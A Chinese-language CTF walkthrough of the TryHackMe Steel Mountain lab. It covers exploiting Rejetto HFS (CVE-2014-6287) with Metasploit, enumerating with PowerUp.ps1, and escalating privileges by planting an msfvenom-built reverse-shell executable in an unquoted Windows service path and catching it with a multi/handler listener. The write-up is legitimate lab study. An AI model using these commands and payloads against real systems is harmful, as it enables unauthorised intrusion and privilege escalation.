TryHackMe系列之Steel Mountain
ps:做了5次的靶场,每次都是因为靶场有问题导致要从开,来来回回将近2个半小时
信息收集
先nmap扫描靶机:
两个web服务8080、80端口
Rejetto:CVE-2014-6287漏洞复现
打开8080服务的网站,查看原码得到文件源码得知是rejetto管理系统,上搜索引擎rejetto漏洞,为CVE-2014-6287
msf查找相应payload进行攻击:
设置好相应的参数
因为是拍快照,所以之前开的burp没关占用了8080端口,来来回回整了快1个小时
下载powershell文件:
git clone https://github.com/PowerShellMafia/PowerSploit.git
powershell提权
PS恶意脚本上传
进入meterpreter后准备提权,将下载的PowerUP.ps1文件上传至靶机,进行如下命令,加载进入powershell获取后台服务进程:
cd C:/Users/bill/Desktop
upload /root/PowerUp.ps1
load powershell
. .\PowerUp.ps1
Invoke-AllChecks
找CanRestart参数为True的服务:
- 因为这样因为者这个服务可以重启,这样我们就可以关闭服务后提换文件,再次重启就运行了我们的文件,
并且路径不带双引号的服务:
- 如果可执行文件的文件路径用引号引起来,则它是在系统中定义的,但如果文件路径没有用引号引起来,则它允许我们将恶意可执行文件插入到“空格”中。基本上,这就是我们能够在不被注意到的情况下上传恶意 PS 脚本的原因
这样允许两种攻击:
将我们的有效负载命名为“Advanced.exe”以利用未加引号的“Advanced Systemcare”(系统将在附加空格之前查找文件 Advanced)。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.13.55.43 LPORT=4443 -e x86/shikata_ga_nai -f exe -o Advanced.exe
拥有更改文件的权限 - 我们可以用我们自己的有效负载替换“ASCService.exe”文件。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.13.55.43 LPORT=4443 -e x86/shikata_ga_nai -f exe -o ASCService.exe
上传ps恶意文件
upload Advanced.exe
将恶意文件复制到目标目录下
目标在寻找服务文件时会沿着路径C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe 找,但是Advanced SystemCare中间有空格存在,除非没有符合叫Advanced名称条件的文件,否则按找寻找的规则会在Advanced就停下(不管后缀),这样我们就可以伪造路径去执行我们的ps恶意文件
C:\ProgramFiles(x86)\IObit\Advanced
copy "Advanced.exe" "C:\ProgramFiles(x86)\IObit\Advanced.exe"
开启、关闭服务自动寻找服务文件
sc stop AdvancedSystemCareService9
sc start AdvancedSystemCareService9
又是一个比较方便的连续命令集,一些列直接开启msf的监听服务,这样弹回来的shell是root级别的,顺便一提最好是用msf的监听模式,直接开启nc监听端口似乎不能拿到shell,并且另外一种伪造文件应该是可以的,虽然启动服务的时候会报错,但应该很正常,不如说就应该这样才对,实际还是运行了ps恶意文件的:
msfconsole -qx 'use exploit/multi/handler;set lhost tun0;set lport 4443;set payload windows/meterpreter/reverse_tcp;run'